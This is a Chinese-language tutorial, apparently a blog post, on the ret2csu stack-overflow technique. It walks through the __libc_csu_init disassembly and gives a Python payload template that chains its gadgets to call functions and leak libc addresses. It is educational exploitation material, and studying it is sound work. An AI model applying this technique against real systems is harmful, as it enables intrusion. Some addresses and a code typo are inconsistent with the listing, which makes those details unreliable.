1. 前提知识
(1)64位程序中函数的传参方式:
当参数个数少于7给时,通过寄存器传参,参数从左到右放入寄存器中:rdi、rsi、rdx、rcx、r8、r9
当参数大于等于7个时,前6个参数与前面一样,后面的参数依次放入栈中,通过栈传参(与32位一样)
(2)存在的问题
这样在64位中就存在一个问题:当我们找不到某一个寄存器对应的 gadgets时,那么就无法找到存放函数该参数的地方了,就无法构造函数了。一般情况是:函数有三个参数,而程序的rdx寄存器对应的gadget在程序中找不到,但这个三个参数又很重要。那么这样就得利用程序本身的其他函数来构造这个gadget了。
2. ret2csu的原理
在 64程序 下存在一个叫 __libc_csu_init 的函数,这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。通过利用这个函数来构造相应的寄存器的数值。
我们先来看一下这个函数 (当然,不同版本的这个函数有一定的区别)
text:0000000000400760 ; void init(void)
.text:0000000000400760 init proc near ; DATA XREF: start+16↑o
.text:0000000000400760 ; __unwind {
.text:0000000000400760 push r15
.text:0000000000400762 push r14
.text:0000000000400764 mov r15d, edi
.text:0000000000400767 push r13
.text:0000000000400769 push r12
.text:000000000040076B lea r12, off_600E10
.text:0000000000400772 push rbp
.text:0000000000400773 lea rbp, off_600E18
.text:000000000040077A push rbx
.text:000000000040077B mov r14, rsi
.text:000000000040077E mov r13, rdx
.text:0000000000400781 sub rbp, r12
.text:0000000000400784 sub rsp, 8
.text:0000000000400788 sar rbp, 3
.text:000000000040078C call _init_proc
.text:0000000000400791 test rbp, rbp
.text:0000000000400794 jz short loc_4007B6
.text:0000000000400796 xor ebx, ebx
.text:0000000000400798 nop dword ptr [rax+rax+00000000h]
.text:00000000004007A0
.text:00000000004007A0 loc_4007A0: ; CODE XREF: init+54↓j
.text:00000000004007A0 mov rdx, r13
.text:00000000004007A3 mov rsi, r14
.text:00000000004007A6 mov edi, r15d
.text:00000000004007A9 call qword ptr [r12+rbx*8]
.text:00000000004007AD add rbx, 1
.text:00000000004007B1 cmp rbx, rbp
.text:00000000004007B4 jnz short loc_4007A0
.text:00000000004007B6
.text:00000000004007B6 loc_4007B6: ; CODE XREF: init+34↑j
.text:00000000004007B6 add rsp, 8
.text:00000000004007BA pop rbx
.text:00000000004007BB pop rbp
.text:00000000004007BC pop r12
.text:00000000004007BE pop r13
.text:00000000004007C0 pop r14
.text:00000000004007C2 pop r15
.text:00000000004007C4 retn
.text:00000000004007C4 ; } // starts at 400760
.text:00000000004007C4 init endp
这里我们可以利用以下几点:
- 从 0x00000000004007B6 一直到结尾,存在有6个pop指令,我们可以利用栈溢出,然后构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据。(控制这些寄存器的值的作用就是通过结合前一个函数,然后将这些寄存器的数据赋给rdx、rsi、rdi寄存器,这样就可以构造gadget,实现函数跳转了)
- 接着确定ret的返回地址,返回到 loc_4007B6 函数中,传递构造好的寄存器的数据,从 0x00000000004007A0 到 0x00000000004007A9,我们可以将 r13 赋给 rdx, 将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0,所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位),而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,那么r12 为存储我们想要调用的函数的地址。
- 从 0x00000000004007AD 到 0x00000000004006B4,我们可以控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置 rbx=0,rbp=1。
- 然后再往下执行程序,为了堆栈平衡。就是说,当ret_addr执行完之后,按照流程它会继续往下执行loc_400646函数,如果它执行的话,他就会再次 pop寄存器,更换我们已经布置好的内容。所以为了堆栈平衡,我们使用垃圾数据填充此处的代码(栈区和代码区同属于内存区域,可以被填充),这里的大小位0x38。此时程序有到达了ret返回函数的地址处了,然后再在最后ret时改写为main函数的地址。这样就可以既可以获取write函数的地址,而且其本身又可以重新执行main函数
流程图:
函数构造:
offset =
csu_start_addr =
csu_end_addr
def rcsu(rbx, rbp, r12, r13 , r14 , r15, ret_addr):
pyaload = offset * 'a'
payload += p64(csu_start_addr)
payload += "ret_addr" # 程序在调用函数时都会先构造pop一个预留一个返回地址,方便调用函数后回去,由于这里该函数得到最后存在ret指令所以不需要提前填可随意填充
payload += p64(0x0) # rbx = 0x0
payload += p64(0x1) # rbp = 0x1
payload += p64(r12) # r12 = call_addr
payload += p64(r13) # r13 = rdx call_addr函数的第三个参数
payload += p64(r14) # r14 = rsi call_addr函数的第二个参数
payload += p64(r15) # r15 = edi call_addr函数的第一个参数
payload += p64(csu_end_addr)# 这里一般为这个函数的前一个函数地址,因为需要将pop的内容传递到rdx、rsi、edi寄存器当中
payload += 'A' * 56 # 这里需要注意:如果程序需要多次调用这段可以再次使用,而不是填充为垃圾数据
payload += p64(ret_addr)
r.sendline(payload)
- 这样构造的好处:比如说你可以通过call指令泄露某个函数的地址,然而却不改变程序的流程,让它重新执行程序,就是说可以重复多次利用溢出漏洞,而且相比之下存在更多的gadget可以利用。
- 利用:利用的方式有很多,通常都是用来泄露函数的地址(绕过pie的保护、泄露libc的基地址)
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮箱至 1627319559@qq.com